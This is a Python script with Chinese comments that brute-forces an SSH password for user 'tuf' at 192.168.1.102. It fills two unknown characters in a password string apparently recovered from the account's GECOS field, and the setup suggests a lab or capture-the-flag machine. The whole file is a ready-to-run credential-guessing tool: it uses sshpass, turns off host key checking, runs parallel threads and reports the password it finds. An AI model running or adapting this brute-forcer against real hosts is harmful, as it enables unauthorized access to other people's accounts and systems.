#!/usr/bin/env python3
"""
GECOS 字段双星号穷举脚本
目标: tuf 用户 GECOS 字段 KQNPHFqG**JHcYJossIe
      爆破 ** 两位未知字符
字符集: [0-9a-zA-Z] 共 62 字符
组合数: 62^2 = 3844
"""

import subprocess
import string
import concurrent.futures
import sys
import argparse

TARGET = "192.168.1.102"
USER = "tuf"

def brute_gecos(charset=None, max_workers=10, target=TARGET, user=USER):
    if charset is None:
        charset = string.digits + string.ascii_lowercase + string.ascii_uppercase

    combos = [a + b for a in charset for b in charset]
    found = [None]
    tested = [0]

    print(f"[*] 字符集大小: {len(charset)}, 组合数: {len(combos)}")
    print(f"[*] 并发线程: {max_workers}")

    def try_password(two_chars):
        if found[0]:
            return None
        password = f"KQNPHFqG{two_chars}JHcYJossIe"
        try:
            result = subprocess.run(
                ['sshpass', '-p', password, 'ssh',
                 '-o', 'StrictHostKeyChecking=no',
                 '-o', 'UserKnownHostsFile=/dev/null',
                 '-o', 'ConnectTimeout=3',
                 '-o', 'PasswordAuthentication=yes',
                 f'{user}@{target}', 'echo SUCCESS'],
                capture_output=True, text=True, timeout=8
            )
            tested[0] += 1
            if 'SUCCESS' in result.stdout:
                found[0] = password
                return password
        except Exception:
            pass
        return None

    with concurrent.futures.ThreadPoolExecutor(max_workers=max_workers) as executor:
        futures = {executor.submit(try_password, c): c for c in combos}
        for future in concurrent.futures.as_completed(futures):
            result = future.result()
            if result:
                print(f"\n[+] 密码找到: {result}")
                print(f"[+] ** = {result[8:10]}")
                for f in futures:
                    f.cancel()
                return result
            if tested[0] % 100 == 0:
                print(f"\r[*] 已测试: {tested[0]}/{len(combos)}...", end='', flush=True)

    print(f"\n[-] 未找到密码 (已测试 {tested[0]} 组合)")
    return None


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='GECOS 字段双星号 SSH 穷举')
    parser.add_argument('-t', '--target', default=TARGET, help=f'目标 IP/主机 (默认: {TARGET})')
    parser.add_argument('-u', '--user', default=USER, help=f'用户名 (默认: {USER})')
    parser.add_argument('-w', '--workers', type=int, default=10, help='并发线程数 (默认: 10)')
    parser.add_argument('-c', '--charset', default=None, help='自定义字符集，默认 [0-9a-zA-Z]')
    args = parser.parse_args()
    brute_gecos(charset=args.charset, max_workers=args.workers, target=args.target, user=args.user)